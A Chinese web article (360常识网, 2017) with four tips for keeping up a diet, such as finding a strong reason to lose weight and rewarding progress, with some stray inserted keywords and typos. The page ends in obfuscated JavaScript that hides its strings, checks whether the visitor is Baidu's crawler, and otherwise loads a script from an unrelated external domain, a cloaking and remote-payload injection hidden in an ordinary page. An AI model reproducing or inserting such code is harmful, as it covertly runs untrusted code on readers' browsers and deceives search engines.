当前位置:首页 > 减肥 > 减肥误区 > 正文

当遇到减肥坚持不下去时怎么办

2017-03-09 20:52:35  来源:360常识网   热度:
导语:健康减肥就是一个修炼的过程,没有坚韧的毅力很难减肥成功。但随着我们减肥深入,脂肪肯定是越来越难得减下来,有过经验的朋友都知道。减肥越减越难,要坚持不住怎么办?下面小编教你几招让减肥之路持续下去。

减肥就跟修房子一样,是一个漫长而又艰辛的过程,中途如果放弃就像房子修到一半停工,那前面的努力岂不是全都白费,所花的人力物力财力也就打了水漂。关键是一旦放任了自己,还有复胖的风险,这都不是我们所想看到的。减肥任重而道远,中途难免会萌生放弃的念头,要怎么坚持下去呢?

1.寻找足够分量的减肥理由

理由越充足,行动就越是有必要性。开始减肥时候,你要为自己找一个“必须减肥”的理由,或是爱美,或是健康,或是为了自己男(女)朋友等等都可以,只要你觉得这个理由够震撼,让你不得不减肥即可。

减肥的理由不是一成不变的,有的人开始时候是因为别人的目光而减肥,后来就学会为自己的美丽和健康而减肥。当你减肥的初衷实现了,那你要学会找到新的减肥理由来支持你继续保持好身材。

2.学会奖励自己

研究发现,比起从不奖励自己的人,经常奖励自己的健身者达到“美国运动医学院运动标准”的可能性要高出 1-2倍。

一位正在研究此项目的博士说,在我们的研究中有一位女性(女性食品) 决定,只要她能够坚持健身满一年,她就去爱尔兰徒步旅行,最终她去成了。还有一位健身者在坚持健身2个月之后给自己买了一双新鞋,6个月后买了一身新运动 (运动食品)衣。奖励机制可以很简单,比如在做完100个仰卧起坐后再去看《六人行》。“生活中任何重要的东西都可以和健身结合起来”。

3.不要给自己太大减肥压力

无论是提高耐力、参加三项全能运动,还是做满25个俯卧撑,设定一个目标无疑可以帮助你更好地坚持下来。但是如果设定目标过高,超乎自己的能力,那么这样的目标带来的压力可能会导致两种不好的结果,或是因为压力太大而选择放弃,或者为了达到目标而不择手段,采取一些消极的减肥方法。

4.学会正确作比较

减肥过程中离不开比较,或是跟自己比较,或是跟别人作比较。跟自己作比较可以看出自己的进补和退步,及时调整自己的减肥计划。把别人作为镜子作比较,可以看出自己的不足。但是千万不要人云亦云。减肥的方法因人而异,这样的方法多余他人来说有用,但是却不一定适合自己。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}